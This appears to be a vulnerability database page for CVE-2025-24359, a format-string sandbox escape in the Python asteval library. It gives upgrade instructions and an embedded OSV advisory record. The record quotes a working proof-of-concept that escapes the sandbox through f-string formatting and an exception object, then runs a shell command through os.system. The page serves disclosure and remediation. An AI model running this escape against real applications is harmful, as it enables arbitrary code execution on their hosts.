CVE-2025-24359: Asteval ASTEVAL Allows Maliciously Crafted Format Vulnerability
HIGHCVE-2025-24359 is a HIGH (CVSS 8.4) asteval allows maliciously crafted format vulnerability (CWE-134: Use of Externally-Controlled Format String) affecting Asteval libraries in the PyPI ecosystem. The issue involves asteval allows maliciously crafted format strings to lead to sandbox escape. Remediation is available by upgrading affected packages to version 1.0.6.
CVE-2025-24359 at a Glance
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-24359
To remediate this vulnerability, upgrade all affected Asteval dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install asteval>=1.0.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show asteval
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-24359, inspect your installed packages using pip:
pip show asteval
Analyze the terminal output to locate any version of Asteval in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.6), your application is affected.
Note: The pip show asteval command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-134: Use of Externally-Controlled Format String, where the product uses a function that accepts a format string as an argument, but the format string originates from an external source. In Asteval, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-24359 Affected Asteval Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
asteval
|
PyPI |
< 1.0.6
|
1.0.6
|
References
Frequently Asked Questions
What is CVE-2025-24359?
Which Asteval versions are affected?
What version fixes CVE-2025-24359?
Is asteval affected?
What is the CVSS score of CVE-2025-24359?
What CWE is associated with CVE-2025-24359?
How can I check PyPI dependencies for CVE-2025-24359?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3wwr-3g9f-9gc7",
"modified" : "2025-01-25T00:54:49Z",
"published" : "2025-01-24T18:45:30Z",
"aliases" : [ "CVE-2025-24359" ],
"summary" : "ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape",
"details" : "### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n \"formatting used in f-strings\"\n val = self.run(node.value)\n fstring_converters = {115: str, 114: repr, 97: ascii}\n if node.conversion in fstring_converters:\n val = fstring_converters[node.conversion](val)\n fmt = '{__fstring__}'\n if node.format_spec is not None:\n fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n# ga\n \ndef pwn():\n try:\n f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n except Exception as ga:\n ga = ga.obj\n sub = ga(dict.mro()[1],\"__subclasses__\")()\n importer = None\n for i in sub:\n if \"BuiltinImporter\" in str(i):\n importer = i.load_module\n break\n os = importer(\"os\")\n os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n \npwn()\n\"\"\"\naeval(code)\n\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "asteval"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.0.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24359"
}, {
"type" : "WEB",
"url" : "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lmfit/asteval"
}, {
"type" : "WEB",
"url" : "https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507"
}, {
"type" : "WEB",
"url" : "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-134", "CWE-749" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-01-24T18:45:30Z",
"nvd_published_at" : "2025-01-24T17:15:16Z"
}
}